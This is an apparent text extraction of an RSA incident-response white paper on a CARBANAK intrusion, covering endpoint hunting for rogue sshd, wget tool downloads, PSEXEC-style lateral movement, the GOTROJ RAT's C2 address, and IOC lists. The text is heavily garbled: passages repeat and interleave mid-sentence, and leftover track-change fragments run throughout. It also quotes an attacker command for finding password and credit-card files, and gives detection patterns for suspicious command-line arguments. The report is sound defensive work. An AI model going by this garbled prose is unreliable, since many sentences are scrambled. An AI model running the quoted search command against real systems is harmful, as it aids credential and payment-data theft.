Non-Standard Locations and Without Associated Packages Associated Packages In Figure 41, we observe two separate sshd binaries running on the system. As SSH only In Figure 41, we separate sshd running on the system. requires one instance ofobserve its service binary running at binaries a time, this is an anomaly. Add to this the non-standard location /usr/share/man/mann which second sshd As SSH only requires one instance of its service binary runningisatexecuting, a time, and the fact that this binary cannot be associated with a legitimately installed RPM package, this activity this is an anomaly. Addand to this the non-standard of /usr/share/man/ immediately becomes suspect warrants investigation. location The legitimate sshd service binary process also highlighted running from /usr/sbin. mann in which the second sshd is executing, and the fact that this binary cannot be associated with a legitimately installed RPM package, this activity Another method of identifying the attacker activity during this engagement involved the command line arguments usedsuspect by the attackers. Essentially, while theThe attackers couldsshd change immediately becomes and warrants investigation. legitimate directory locations, filenames and even hashes, the base functionality of the tools themselves service binary process is also highlighted as running from /usr/sbin. could not readily or easily be changed. Given that the command line arguments of the tool indicated the functionality being utilized, RSA IR analysts zeroed in on the unique command line Another method of identifying attacker during engagement arguments of the tools being use by thethe attackers. Asactivity an example, thethis usage of any web address or IP address inthe the command command line immediately suspect and reviewed, as involved linearguments argumentsbecame used by the attackers. Essentially, shown in Figure 42. while the attackers could change directory locations, filenames and even hashes, the base functionality of the tools themselves could not readily or easily be changed. Given that the command line arguments of the tool indicated the functionality being utilized, RSA IR analysts zeroed in on the unique command line arguments of the tools being use by the attackers. As an example, the usage of any web address or IP address in the command line Figure 42: IP Address, Port Switch and Port in Program Arguments arguments became immediately suspect and Number reviewed, as shown in Figure 42. As a follow-up to these findings, RSA IR analysts utilized some of the base functions of the RSA NetWitness Endpoint agent in order to gain additional artifacts and information associated with known indicators. During this engagement, the directory /usr/share/man/mann was the primary working directory for system BRAVO. In using this indicator during scoping investigations, the file contents for /usr/share/man/mann were requested from every Linux server in the environment. The purpose of this was to determine if this directory was being maliciously used on any systems within the environment and to gain additional evidence that may not have executed during the agent s tenure on the system. requires one instance of its service binary running at a time, this is an anomaly. Add to this the Deleted: non-standard location of /usr/share/man/mann in which the second sshd is executing, and the fact that this binary cannot be associated with a legitimately installed RPM package, WHITE this activity PAPER immediately becomes suspect and warrants investigation. The legitimate sshd service binary Deleted: process is also highlighted as running from /usr/sbin. Another method of identifying the attacker activity during this engagement involved the command line arguments used by the attackers. Essentially, while the attackers could change directory locations, filenames and even hashes, the base functionality of the tools themselves could not readily or easily be changed. Given that the command line arguments of the tool indicated the functionality being utilized, RSA IR analysts zeroed in on the unique command line arguments of the tools being use by the attackers. As an example, the usage of any web address or IP address in the command line arguments became immediately suspect and reviewed, as shown in Figure 42. Deleted: Deleted: , Deleted: Deleted: Comment [ Figure 42: IP Address, Switchand and Port in Program Arguments Figure 42: IP Address, PortPort Switch, PortNumber Number in Program Arguments As a follow-up to these findings, RSA IR analysts utilized some of the base functions of the RSA As a follow-up to agent theseinfindings, IR analysts utilized some ofassociated the basewith NetWitness Endpoint order to gain additional artifacts and information known indicators. During this engagement, the directory /usr/share/man/mann was the primary functions NetWitness Endpoint agent order gain additional working directory for system BRAVO. In using this indicator during scoping investigations, the file contents for /usr/share/man/mann were requested from every Linux server in the artifacts information associated with known indicators. During this environment. The purpose of this was to determine if this directory was being maliciously used engagement, directory /usr/share/man/mann primary working on any systems within the environment and to gain additional evidence that may not have executed during the agent tenure on system. directory for system BRAVO. Inthe using this indicator during scoping Deleted: , Deleted: an Deleted: Ag Deleted: Deleted: Deleted: investigations, the file contents for /usr/share/man/mann were requested from every Linux server in the environment. The purpose of this was to Page 47 determine if this directory was being maliciously used on any systems within The!Shadows!of!G the environment and to gain additional evidence that may not ! have executed Case!Study:!CARB during the agent s tenure on the system. Figure 43: RSA NetWitness Endpoint Request for All Files in Directory /usr/share/ man/mann Figure 43: RSA NetWitness Endpoint Request for All Files in Directory /usr/share/man/mann In requesting files for this directory across all systems, analysts are able to determine if the In requesting files for this directory across all systems, analysts are able are additional tools or malware artifacts used by the attackers within the same directory. determine there are additional tools or malware artifacts executing used by Additionally, this to action can if also determine if the binaries observed from this dire attackers within same directory. Additionally, this action also from the Glob exist on any other systems. Both cases are shown in the results of thiscan action determine binaries observed executing from this directory exist on any Downloads section shown ifinthe Figure other systems. Both cases are shown in the results of this action from the Global Downloads section shown in Figure 44. WHITE PAPER Figure 43: RSA NetWitness Endpoint Request for All Files in Directory /usr/share/man/mann In requesting files for this directory across all systems, analysts are able to determine if there are additional tools or malware artifacts used by the attackers within the same directory. Additionally, this action can also determine if the binaries observed executing from this directory exist on any other systems. Both cases are shown in the results of this action from the Global Downloads section shown in Figure 44. Dele Dele Figure Additional Findings Mass File Download Directory /usr/ Figure 44:44: Additional Findings via Mass File Download Request forRequest Directoryfor /usr/share/man/mann share/man/mann The functionality is also useful in acquiring key host artifacts, such as configuration files and host logs, across all systems within the environment and then processing and reviewing them in The functionality is also in acquiring keyand host artifacts, such as aggregate in order to gain moreuseful contextual information situational awareness. configuration files and host logs, across all systems within the environment While contextual forensic data within host artifacts could identify some attacker activity, much of and then processing them in aggregate in order gain more on the the most commonly utilizedand hostreviewing forensic data either was not useful or wasto available hosts affected during this engagement. While aggregate analysis artifacts, such as NTFS contextual information and situational awareness. Page 48 While contextual forensic data within host artifacts could identify some attacker activity, much of the most commonly utilized host forensic data either was not useful or was not available on the hosts affected during this engagement. While aggregate analysis of artifacts, such as NTFS Master File Tables, AmCache, SYSTEM and SOFTWARE Registry Hives, and Windows Event Logs, could identify certain aspects of the attackers actions, they were consistently ineffective at providing the necessary level of granularity to track the attackers actions appropriately. However, using the RSA NetWitness Endpoint agent already present on the hosts to provide this critical host data, the aforementioned artifacts became force multipliers by providing additional context to the actions observed in RSA NetWitness Suite. The attackers utilized a specific staging directory on each host in which they took any significant action. In order to appear more legitimate to security analysts and tools, they utilized the legitimate Microsoft Windows directory for 32-bit applications utilizing the Taiwan Chinese language pack on 64-bit versions of Windows, C:\Windows\SysWoW64\zh-TW. While this directory is a legitimate Windows system directory, no server systems within this environment were legitimately utilizing the Taiwan Chinese language directory. As such, this became a useful and actionable IOC for scoping and tracking any systems with substantial actor activity. An example of attacker use of this directory, as observed in RSA NetWitness Endpoint, is shown in Figure 45. Dele providing the necessary level of granularity to track the attackers actions appropriately. Deleted: att However, using the RSA NetWitness Endpoint agent already present on the hosts to provide this Deleted: critical host data, the aforementioned artifacts became force multipliers by providingWHITE additional PAPER Deleted: Age context to the actions observed in RSA NetWitness Suite. The attackers utilized a specific staging directory on each host in which they took any significant action. In order to appear more legitimate to security analysts and tools, they utilized the legitimate Microsoft Windows directory for 32-bit applications utilizing the Taiwan Chinese language pack on 64-bit versions of Windows, C:\Windows\SysWoW64\zh-TW. While this directory is a legitimate Windows system directory, no server systems within this environment were legitimately utilizing the Taiwan Chinese language directory. As such, this became a useful and actionable IOC for scoping and tracking any systems with substantial actor activity. An example of attacker use of this directory, as observed in RSA NetWitness Endpoint, is shown in Figure 45. Comment [A the overuse Deleted: Deleted: Deleted: Deleted: Comment [A Figure C:\Windows\SysWOW64\zh-TW WorkingUIAutomationCore Directory, UIAutomationCore Figure45: 45: C:\Windows\SysWOW64\zh-TW Working Directory, WGET Usage, and TINYP Download and Renaming WGET Usage, and TINYP Download and Renaming In Figure 45 above, the usage of the UIAutomationCore.dll.bin WGET binary to download attacker tools and the immediate renaming of those tools are shown. This, again, became an In Figure 45 above, the usage of the UIAutomationCore.dll.bin WGET binary excellent actionable IOC to track adversary activity. The same contextual aspects that were utilized in the network IOC tools for WGET in Figure 33 are also usedof here. By identifying to download attacker andusage the immediate renaming those tools areany command executions that utilize a command line argument of http:// followed by an IP shown. RSA This,IRagain, became anany excellent actionable IOCthe toattackers track adversary address, was able to identify and all instances in which downloaded tools. In hunting for this activity, we use the same methodology used in Section 3.3.1, activity. The same contextual aspects that were utilized in the network IOC identifying aspects of the activity associated with IIOCs and reviewing those IIOCs for activity. case, the UIAutomationCore.dll.bin WGET binary download is an unsigned forthis WGET usage in Figure 33 are also used here. By identifying anymodule, command located within a legitimate Windows directory, communicates to an external source directly to IP executions that an utilize a command lineIIOCs argument http:// followed address and writes executable to disk. The shown inof Figure 46 reflect this activity. Deleted: Deleted: Deleted: is Deleted: Deleted: Deleted: Ins Deleted: Ins Deleted: Deleted: , an IP address, RSA IR was able to identify any and all instances in which Deleted: Deleted: Ins the attackers downloaded tools. In hunting for this activity, we use the same methodology used in Section 3.3.1, identifying aspects of the activity associated with IIOCs and reviewing those IIOCs for activity. In this case, the UIAutomationCore.dll.bin WGET binary download is an unsigned module, located within a legitimate Windows directory, communicates to an external The!Shadows!of!Ghosts! source directly to IP address and writes an executable to! disk. The IIOCs Case!Study:!CARBANAK! shown in Figure 46 reflect this activity. Page 49 Figure 46:Representing Instant IOCs UIAutomationCore.dll.bin Representing UIAutomationCore.dll.bin Figure 46: IIOCs WGET Binary Activity WGET Binary Activity As stated in the section associated with Table 15, the TINYP binary is a modification of the SysInternals PSEXEC remote access utility. Just like PSEXEC, the TINYP binary sends a service As stated in the section associated with Table 15, the TINYP binary is a binary to the ADMIN$ share (C:\Windows) of the target host. The target host executes this modification the SysInternals PSEXEC remote access utility. Just like service binary, and the of TINYP tool connects to that service binary. When identifying attacker PSEXEC, the TINYP binary sends a service to the ADMIN$ share (C:\ lateral movement from the perspective of the targetbinary system, PSEXESVC.exe TINYP service binary executes the remote command attacker system. viewand of this Windows) of the target host. requested The target by host executes this serviceThe binary, activity in RSA NetWitness Endpoint is illustrated in Figure 47. the TINYP tool connects to that service binary. When identifying attacker lateral movement from the perspective of the target system, the PSEXESVC. exe TINYP service binary executes the remote command requested by the attacker system. The view of this activity in RSA NetWitness Endpoint is illustrated in Figure 47. WHITE PAPER Figure 46: IIOCs Representing UIAutomationCore.dll.bin WGET Binary Activity As stated in the section associated with Table 15, the TINYP binary is a modification of the SysInternals PSEXEC remote access utility. Just like PSEXEC, the TINYP binary sends a service binary to the ADMIN$ share (C:\Windows) of the target host. The target host executes this service binary, and the TINYP tool connects to that service binary. When identifying attacker lateral movement from the perspective of the target system, the PSEXESVC.exe TINYP service binary executes the remote command requested by the attacker system. The view of this activity in RSA NetWitness Endpoint is illustrated in Figure 47. Deleted: Inst Deleted: Deleted: Deleted: Deleted: Figure 47: TINYP Execution from (Red) Target Perspective Figure 47: TINYP Execution from Source Source (Red) andand Target (Blue)(Blue) Perspective Figure 47 illustrates the most common use case for the TINYP binary observed: lateral Figure 47via illustrates the most case forabove, the TINYP binary movement remote command shellcommon execution.use In the figure the source host perspective of TINYP execution is shown in the red boxes, while the target host perspective of observed: lateral movement remote command shell execution. In the TINYP execution is shown in the blue boxes. In the box labeled we see file PSEXESVC.exe service binary the C:\Windows directory, which execution represents the ADMIN$ in the figure above,being thewritten sourcetohost perspective of TINYP is shown SMB/CIFS network share. Once the service binary is placed in the ADMIN$ share, a Windows boxes, while target host perspective TINYP execution is shown in Registry entry is created in the SYSTEM Registry Hive under the path HKLM\SYSTEM\ControlSet001\services\PSEXESVC. Once the service binary is placed on the blue boxes. In the box labeled we see file PSEXESVC.exe service binary system, a Windows Service is created to execute the service binary. This is observed in the last being written to the C:\Windows directory, which represents the ADMIN$Page 50 SMB/CIFS network share. Once the service binary is placed in the ADMIN$ share, a Windows Registry entry is created in the SYSTEM Registry Hive under the path HKLM\SYSTEM\ControlSet001\services\PSEXESVC. Once the service binary is placed on the system, a Windows Service is created to execute the service binary. This is observed in the last item in box as the Windows Services Control Manager services.exe executes the PSEXESVC.exe process. Upon the second execution of the TINYP binary, the Windows SYSTEM Registry Key is not created, as it already exists on the system, and it is important to note that the Registry entry is only created on the first execution. This information can be used to determine the first host access by this method. On the second execution, represented by the box labeled we see the Windows Local Security Authentication Server binary lsass. exe opening the PSEXESVC.exe service process. This is the actor attempting to authenticate to the remote system under whatever credentials they have acquired. Once authenticated, the process goes into the box labeled where the PSEXESVC.exe service binary executes the Windows Command Processor cmd.exe remotely on behalf of the attacker. It is important to note that while the calling parent binary on the target system is the TINYP binary ps.exe, all actions executed by TINYP will be carried out by the PSEXESVC. exe service binary on the target system. Given this, we can identify remote command shell execution via PSEXEC for any instance in which PSEXESVC.exe Creates Process cmd.exe, which we established was the primary use case for this tool in this engagement. Knowing this, and knowing that the legitimate PSEXEC utility is often widely used by system administrators, the difference in the legitimate PSEXEC and the TINYP binaries or their service binaries is particularly useful to incident responders. In reviewing the service binaries of both tools in RSA NetWitness Endpoint, we identify differences we can use to distinguish between legitimate and malicious activity. A view of one difference is shown in Figure 48. Deleted: Deleted: Deleted: , Deleted: Deleted: Deleted: whatever credentials they have acquired. Once authenticated, the process goes into the box Deleted: labeled where the PSEXESVC.exe service binary executes the Windows Command Processor Deleted: , cmd.exe remotely on behalf of the attacker. It is important to note that while the calling parent WHITE PAPERDeleted: binary on the target system is the TINYP binary ps.exe, all actions executed by TINYP will be carried out by the PSEXESVC.exe service binary on the target system. Given this, we can Deleted: identify remote command shell execution via PSEXEC for any instance in which PSEXESVC.exe Creates Process cmd.exe, which we established was the primary use case for this tool in this engagement. Knowing this, and knowing that the legitimate PSEXEC utility is often widely used by system administrators, the difference in the legitimate PSEXEC and the TINYP binaries or their service binaries is particularly useful to incident responders. In reviewing the service binaries of both tools in RSA NetWitness Endpoint, we identify differences we can use to distinguish between legitimate and malicious activity. A view of one difference is shown in Figure 48. Deleted: and Deleted: Deleted: Comment [A6 Figure TINYPvs vs.PSEXEC PSEXEC Service Binaries Figure 48:48: TINYP Service Binaries In Figure 48, we see that the PSEXESVC.exe service binary used by TINYP has a valid Microsoft Figurethough 48, weit see that40KB the smaller PSEXESVC.exe servicePSEXEC binaryservice used binary. by TINYP signature, is about than the legitimate Whilehas signature for this binary is valid, even valid information can become an actionable IOC. In this aparticular valid Microsoft signature, though it is about 40KB smaller than the legitimate engagement, the version of PSEXEC that was legitimately being used by system administrators was signed byWhile SysInternals, much like the above. With this being case, PSEXEC service binary. the signature for figure this binary is valid, eventhe valid any PSEXESVC service binaries that were Microsoft signed became immediately suspect during information canAdditionally, become an IOC. this particular engagement, this investigation. theactionable TINYP binary itselfInwas unsigned, standing in stark difference from its legitimate PSEXEC counterpart. The differences in these binaries are shown in version PSEXEC that legitimately being used system administrators Figure 49. was signed by SysInternals, much like the figure above. With this being the case, any PSEXESVC service binaries that were Microsoft signed became immediately suspect during this investigation. Additionally, the TINYP binary itself was unsigned, standing in stark difference from !its legitimate PSEXEC Page 51 The!Shadows!of!Ghosts! Case!Study:!CARBANAK! counterpart. The differences in these binaries are shown in Figure 49. Deleted: Deleted: Deleted: Deleted: Deleted: Comment [A FigureFigure 49: TINYP vs.vs.PSEXEC Module Differences 49: TINYP PSEXEC Module Differences Deleted: In Figure 49, we observe the following differences in the TINYP binary and legitimate PSEXEC: In Figure 49, we observe the following differences in the TINYP binary and 1.! The TINYP binary resides within a consistent directory of C:\Windows\SysWOW64\zh-TW. legitimate PSEXEC: 2.! The TINYP binary has a very recent compile time from the time of initial entry into the environment. 1. The TINYP binary resides within a consistent directory of C:\Windows\ 3.! The TINYP binary has no value in the Description section of its header. SysWOW64\zh-TW. The TINYP binary is not signed. Given this, shouldbinary the attackers filenamecompile or location, thisfrom can bethe hunted viewing 2. The TINYP has achange very recent time timeforofbyinitial only unsigned binaries with no Description values and sorted by compile time to identify binaries entrywithin into the compiled closeenvironment. proximity to the compile time of this binary. 3.order The TINYP no value the Description of its header. to reducebinary time to has detection of thisin activity, IIOC content section for RSA NetWitness Endpoint has been created and included in the Digital Appendix associated with this document. Deleted: Inst 4. The TINYP binary is not signed. The majority of the attackers actions-on-objective were conducted using commands residing within, and are functions of, the Windows Command Processor cmd.exe. While there are a Given this, shouldavailable the attackers change filename or location, cansubset be of variety of commands to users at the Windows Command Prompt, athis specific these commands are internal to the cmd.exe binary and therefore will not cause additional hunted for by viewing only unsigned binaries with no Description values and process creation. These commands are listed in Table 25. sorted by compile time to identify binaries compiled within close proximity to the compile time of this binary. Internal Windows Command Processor Commands ASSOC MKLINK (vista IIOC and above) order to reduce time to detection of this activity, content for RSA BREAK MOVE NetWitness Endpoint has been created PATH and included in the Digital Appendix CALL CD/CHDIR PAUSE associated with this document. POPD COLOR PROMPT TITLE COPY PUSHD majority of the attackers actions-on-objective were conducted using DATE commands residing within, and are functions of, the Windows Command REN/RENAME RD/RMDIR Processor cmd.exe. While there are a variety of commands available to users DPATH the Windows Command Prompt, a specific subset of these commands are ECHO SETLOCAL ENDLOCAL SHIFT internal cmd.exe binary therefore will not cause additional process ERASE START EXIT TIME creation. These commands are listed in Table 25. Page 52 Deleted: Deleted: , Deleted: , Deleted: Comment [A WHITE PAPER Internal Windows Command Processor Commands ASSOC MKLINK (vista and above) BREAK MOVE CALL PATH CD/CHDIR PAUSE POPD COLOR PROMPT COPY PUSHD DATE REN/RENAME RD/RMDIR DPATH ECHO SETLOCAL ENDLOCAL SHIFT ERASE START EXIT TIME TITLE FTYPE TYPE GOTO VERIFY KEYS MD/MKDIR Table 25: List of Commands Internal to the Windows Command Processor Throughout this engagement, the primary attacker actions consisted of traversing directories and outputting files, looking for files that may contain additional credentials, database information, internal infrastructure documentation, and financial data such as PCI data. The majority of the commands utilized consisted of the CD, TYPE, ECHO, DATE and DIR. As none of these commands call additional binaries, the attackers would reside almost completely within the cmd.exe process for the majority of their host actions. Four distinct external commands were utilized by the attackers in traversing the host filesystems as part of their internal reconnaissance activities: net.exe, ipconfig.exe, find.exe and qwinsta.exe. Knowing this, any time cmd.exe called any of these binaries, it was considered suspect activity. However, two of these commands were specific to the actor activity and were thereby utilized as a high-fidelity indication of attacker activity. The find.exe command searches a specified file or piped input for a defined string given in the command arguments, much like the grep binary does on Linux and UNIX hosts. The attackers would use this binary in the following command string dir /b /s 2>nul | find /I phrase KEYS MD/MKDIR Table 25: List of Commands Internal to the Windows Command Processor WHITE PAPER Throughout this engagement, the primary attacker actions consisted of traversing directories and outputting files, looking for files that may contain additional credentials, database information, internal infrastructure documentation, and financial data such as PCI data. The majority of the commands utilized consisted of the CD, TYPE, ECHO, DATE and DIR. As none of these commands call additional binaries, the attackers would reside almost completely within the cmd.exe process for the majority of their host actions. Four distinct external commands were utilized by the attackers in traversing the host filesystems as part of their internal reconnaissance activities: net.exe, ipconfig.exe, find.exe and qwinsta.exe. Knowing this, any time cmd.exe called any of these binaries, it was considered suspect activity. However, two of these commands were specific to the actor activity and were thereby utilized as a high-fidelity indication of attacker activity. The find.exe command searches a specified file or piped input for where the phrase would be a string of interest to the attackers, such as a defined string given in the command arguments, much like the grep binary does on Linux and UNIX The attackers use this binary in the following command string PCI, hosts. Passwords andwould Credit Card. This command would list the filenames of all files in all subdirectories present working directory, and then dir /bunder /s 2>nul | find phrase only display the ones with the required string in the filename. Since the DIR where the phrase would be a string of interest to the attackers, such as PCI, Passwords Credit Card. This would list the filenames of all files but in allthe subdirectories under command is part ofcommand the Windows Command Processor, FIND command the present working directory, and then only display the ones with the required string in the is a separate binary, we observe this activity in RSA NetWitness filename. Since the DIR command is part of the Windows Command Processor, Endpoint but the FIND command is a separate binary, we observe this activity in RSA NetWitness Endpoint via the cmd.exe process calling find.exe with arguments, illustrated Figure cmd.exe process calling find.exe with arguments, as illustrated in Figure 50. Deleted: , Deleted: Deleted: , Deleted: Deleted: Deleted: , Deleted: Deleted: Deleted: Deleted: Deleted: , Deleted: , Deleted: . Deleted: Comment [A Figure 50: cmd.exe Calling find.exe Piped Directory Listing Figure 50: cmd.exe Calling find.exe as as aaPiped Directory Listing Search Search The qwinsta.exe binary identifies all currently logged-in users via command line session, console The qwinsta.exe binary identifies all currently logged-in users via command session or RDP session, and displays the user logged in and the type of session they are associated with.console The attackers would thissession, for two primary functions the on the majority of hosts line session, session oruse and displays user logged they interacted with. The first would be to check other users logged in to the system as a in and the type of ifsession theywas arebeing associated would monitor to determine their activity detected,with. and also to attackers identify administrative users logged in whose credentials they could harvest from memory. The second was to identify this primary functions majority hosts they interacted what systems users were engaging the system with, and what method of access they were with. The first would be to check other users logged in to the system as a Page 53 monitor to determine if their activity was being detected, and also to identify administrative users logged in whose credentials they could harvest from memory. The second was to identify what systems users were engaging the system with, and what method of access they were using. This gave the attackers additional information with which to map the internal systems The!Shadows!of!Ghosts! and networks. Additionally, the attackers were the only executing this ! users Case!Study:!CARBANAK! command anywhere within the environment, as the system administrators using. This gave the attackers additional information with which to map the internal systems and did not use this command in any their Thisanywhere networks. Additionally, the attackers wereofthe onlyadministrative users executingfunctions. this command within the environment, as the allowed system administrators did not use this command in any of their contextual information RSA IR to utilize these IOCs with significant administrative functions. This contextual information allowed RSA IR to utilize these IOCs with effectiveness during thethe course ofofthe Anexample exampleofofthis this significant effectiveness during course theengagement. engagement. An activity is shown in Figure activity is shown in Figure 51. Deleted: log Deleted: , Deleted: Deleted: Deleted: Delet Delet Delet Delet Figure qwinsta.exe BeingCalled Called cmd.exe Figure qwinsta.exe Being byby cmd.exe The GOTROJ RAT used by the attackers in this engagement was primarily The GOTROJ RAT used by the attackers in this engagement was primarily utilized by installing it installing it asthe a Windows starting the service andTrojan then was as a utilized Windowsby Service, starting service andService, then deleting the service once the executing successfully in memory. Evidence thisexecuting activity, assuccessfully observed in Application Tracking deleting the service once the Trojanofwas in memory. within RSA NetWitness Endpoint, is shown in Figure 52 and Figure 53. Evidence of this activity, as observed in Application Tracking within RSA NetWitness Endpoint, is shown in Figure 52 and Figure 53. Figure 52: Installation of GOTROJ RAT Via Windows Service Comm refere refere unde Delet Delet Comm WHITE PAPER Figure Figure 51: 51: qwinsta.exe qwinsta.exe Being Being Called Called by by cmd.exe cmd.exe The GOTROJ GOTROJ RAT RAT used used by by the the attackers attackers in in this this engagement engagement was was primarily primarily utilized utilized by by installing installing it as a a Windows Windows Service, Service, starting starting the the service service and and then then deleting deleting the the service service once once the the Trojan Trojan was executing executing successfully successfully in in memory. memory. Evidence Evidence of of this this activity, activity, as as observed observed in in Application Application Tracking Tracking within within RSA RSA NetWitness NetWitness Endpoint, Endpoint, is is shown shown in in Figure Figure 52 52 and and Figure Figure 53. Comment Comment [A reference GO reference referenced referenced e understood understood Deleted: ,, Deleted: Deleted: Deleted: Comment Comment [A Figure GOTROJ Windows Service Figure 52: Installation Installation GOTROJ RAT ViaVia Windows ServiceService Figure 52: Installation of of GOTROJ Windows Figure 53: Deletion of GOTROJ Windows Service After Execution Figure Figure 53: 53: Deletion Deletion of of GOTROJ GOTROJ Windows Windows Service Service After After Execution Execution Once successfully executed, GOTROJ communicates with 107.181.246.146 over TCP port 443. Once successfully executed, GOTROJ communicates with 107.181.246.146 TCP portThe!Shadows!o 443. ! over Once successfully executed, GOTROJ communicates withsection, 107.181.246.146 When Deleted: When reviewing reviewing the the host host screen screen s Scan Scan Data Data tab, tab, under under the the Processes Processes section, we see see where where the Deleted: network connection with ctlmon.exe process shown network connection is correlated correlated with the the running running ctlmon.exe process by clicking clicking on it, it,under asCase!Study:!CAR shown over port 443. When reviewing the host screen Scan Data tab, in Figure Figure 54. ! is correlated the Processes section, we see where the network connection The!Shadows!of!Ghosts! Case!Study:!CARBANAK! with the running ctlmon.exe process by clicking on it, as shown in Figure 54. Page Page 54 Figure 54:54: GOTROJ NetworkConnection Connection Information Figure GOTROJProcess ProcessExecuting Executing and and Network Information Figure 54: GOTROJ Process Executing and Network Connection Information Additionally, the GOTROJ ctlmon.exe binary itself canitself be triaged the RSA Additionally, the GOTROJ ctlmon.exe binary can bevia triaged via NetWitness Endpoint module analyzer in order to identify the imported function and DLL information, the RSA NetWitness Endpoint module analyzer in order to identify the PE headerctlmon.exe information and searchable static strings analysis. One initial triage Additionally, entropy, the GOTROJ binary itself be triaged via common the RSA NetWitness imported function DLL information, entropy, header information search pattern identifying possible strings common port value strings, such Endpoint module analyzer in order to identify the imported function and DLL information, :443. searchable The use of this search string to triage GOTROJ Trojan identifies C2 IP address static strings analysis. common initial triage search pattern entropy, PE header information searchable static strings analysis. and port value in a clear text string at offset 0x3049304, as evidenced in Figure 55. common initia identifying possible possible C2C2 strings is common web portweb valueport strings, such as search pattern for for identifying strings is common value strings, such :443. this search string triage GOTROJ Trojan identifies :443. The use of this search string to triage the GOTROJ Trojan identifies the C2 IP add C2 IPtext address and port value in0x3049304, a clear text string offset 0x3049304, as 55. and port value in athe clear string at offset as atevidenced in Figure evidenced in Figure 55. Figure 55: C2 IP and Port Identification in Cursory Analysis via RSA NetWitness Endpoint Module Analyzer Figure 55: C2 IP and Port Identification in Cursory Analysis via RSA NetWitness Figure 55: C2 IP and Port Identification in Endpoint CursoryModule Analysis via RSA NetWitness Endpoint Module A Analyzer WHITE PAPER 5. CONCLUSION The attackers in this engagement primarily used modified versions of legitimate administrative tools, commonly used penetration testing utilities and common network file acquisition tools. Though specialty malware was observed during this intrusion, the attackers used basic XOR encoding just above Layer 4 to facilitate communication, communicated via SSH tunnel directly over TCP/443, or just transmitted and received data in clear text across the network. Of the observed actions during this intrusion, none of the attacker tools, techniques or procedures was particularly advanced. However, they were still able to bypass a significant security stack, obtain initial access and lateral access effectively, deploy malware and toolsets with impunity, and traverse over 150 systems in the span of six weeks. While, at first glance, this attack was not sophisticated in its toolset, it was sophisticated in its operationalization and agility of actions taken by the attackers. Upon reviewing the entirety of tools used in this engagement, operational correlations can be made between the Linux and Windows toolsets, as illustrated in Table 26. Cross Platform Toolsets and Purpose Linux Windows Function Winexe Tinyp Lateral Movement Auditunnel (Linux Version) Auditunnel (Windows Version) Ingress Tunneling PScan (Linux Version) PScan (Windows Version) Internal Recon WGet (Linux Version) WGet (Windows Version) Toolset Download PSCP File Transfer Table 26: Cross-Platform Toolset Utilization The CARBANAK actors not only showed the capability to successfully compromise both Linux and Windows systems but they chose a toolset that was either directly cross-platform or extremely similar in both function and command line usage. This indicates a level of tactical organization and operationalization not previously observed by this actor group. Additionally, they were significantly cognizant and aware of actions taken by the security team, switching to new methods of ingress after initial compromise, detected remediation actions and environmental migration. They were methodical in their choice of staging systems, basing the system utilized on: a critical function of lateral access (such as systems BRAVO and DELTA) or responder detection and investigation (such as system CHARLIE) They chose key systems based on their needs rather than systems the organization would consider assets. They ensured the toolsets they would interact with most often contained very similar functions and commands across environments in order to limit mistakes made at the WHITE PAPER keyboard. They included a method, whether manually or automatically, to remove records of their activities. They operated with purpose, patience, planning and, most significantly, persistence. This intrusion was successfully discovered, investigated, contained, eradicated and remediated only due to the following reasons: 1. The organization invested in the necessary visibility at a host and network level to allow analysts to rapidly and effectively hunt for and investigate these types of threats. 2. The organization had invested and empowered their personnel to creatively and proactively hunt for, understand, investigate and learn from threats within their environment. 3. The organization had maintained a relationship with a proven and trusted advisory practice and had worked to recreate and implement a solid and proven Threat Hunting and Incident Response methodology within their own organization. 4. The organization had a solid top-down understanding of what role Threat Hunting and Incident Response held during daily operations and security incidents, and provided the necessary support and enablement to subordinate units and analysts. While a first look at the tools used in this engagement may appear simplistic, upon review of the entire intrusion it becomes quickly apparent that each of them was purpose-chosen with an overall operationalized capability in mind. CARBANAK has shown themselves to be a coordinated and extremely persistent group of actors that are consistently moving towards more agile methods of intrusion and standardization of processes across heterogeneous environments. They have proven their capability to use that persistence and agility to defeat or bypass organizational security controls. Even with the least advanced of their capabilities, they can be a difficult adversary to track within an environment due to their speed, efficiency, adaptability and care in leaving little trace of any activity. However, this difficulty compounds exponentially for organizations without the necessary visibility, practices, methodologies or trusted partner relationships necessary to effectively detect and respond to these types of threats. This case study shows that with the necessary visibility, planning, methodology and analyst enablement, organizations can be successful against these types of threats. Disclaimer: This white paper and related graphics are provided for informational and/or educational purposes. RSA is not responsible for errors, omissions or for results obtained from the use of this information. This white paper is being provided as-is, with no guarantee of completeness, timeliness or accuracy, and without warranty of any kind. This white paper is not intended to be a substitute for legal or other professional advice, and constitutes the opinions of the author(s). WHITE PAPER 6. INDICATORS OF COMPROMISE 6.1 ATOMIC INDICATORS OF COMPROMISE Host Indicators E3C061FA0450056E30285FD44A74CD2A slpar.org 370D420948672E04BA8EAC10BFE6FC9C centos-repo.org 90D4CC6D4B81B8C462F5AA7166FEE6FB 95.215.46.116 F9766140642C24D422E19E9CF35F2827 185.61.148.145 EB87856732236E1AC7E168FE264F1B43 185.61.148.96 B57DC2BC16DFDB3DE55923AEF9A98401 107.181.246.146 B3135736BCFDAB27F891DBE4009A8C80 192.99.14.211 0F1C4A2A795FB58BD3C5724AF6F1F71A 95.215.47.122 209BC26396E838E4B665FE3D1CCF7787 95.215.61.192 6499863D47B68030F0C5FFAFAFFB1344 5.45.179.173 752D245F1026482A967A763DAE184569 185.86.151.174 8B3A91038ECB2F57DE5BBD29848B6DC4 185.165.29.27 AB8BED25F9FF64A4B07BE5D3BC34F26B 185.117.88.97 7393CB0F409F8F51B7745981AC30B8B6 95.215.44.129 C4D746B8E5E8E12A50A18C9D61E01864 185.165.29.26 BD126A7B59D5D1F97BA89A3E71425731 6499863D47B68030F0C5FFAFAFFB1344 752D245F1026482A967A763DAE184569 1BD7D0C3023C55B5DF0201CC5D7BBCE1 C01FD758ABB423C8336EE1BD5035A6C7 BD126A7B59D5D1F97BA89A3E71425731 771FA63231FB42EE97AA17818A53F432 EDCE844A219C7534E6A1E7C77C3CB020 0810D239169A13FC0E2E53FC72D2E5F0 D66E31794836DFD2C344D0BE435C6D12 E3C061FA0450056E30285FD44A74CD2A A365FD9076AF4D841C84ACCD58287801 9E2E4DF27698615DF92822646DC9E16B 5DDF9683692154986494CA9DD74B588F F9766140642C24D422E19E9CF35F2827 D406E037F034B89C85758AF1A98110BE D825FBD90087D2350E89CBF205A1B71C Network Indicators WHITE PAPER 6.2 Behavioral Indicators of Compromise Host Indicators C:\Windows\SysWOW64\zh-TW Directory Usage Outbound SSH over TCP/443 Command Line Arguments Containing -getfiles, -copyfiles, -copyself, -cleanup or http://[0-9] {1,3}\. 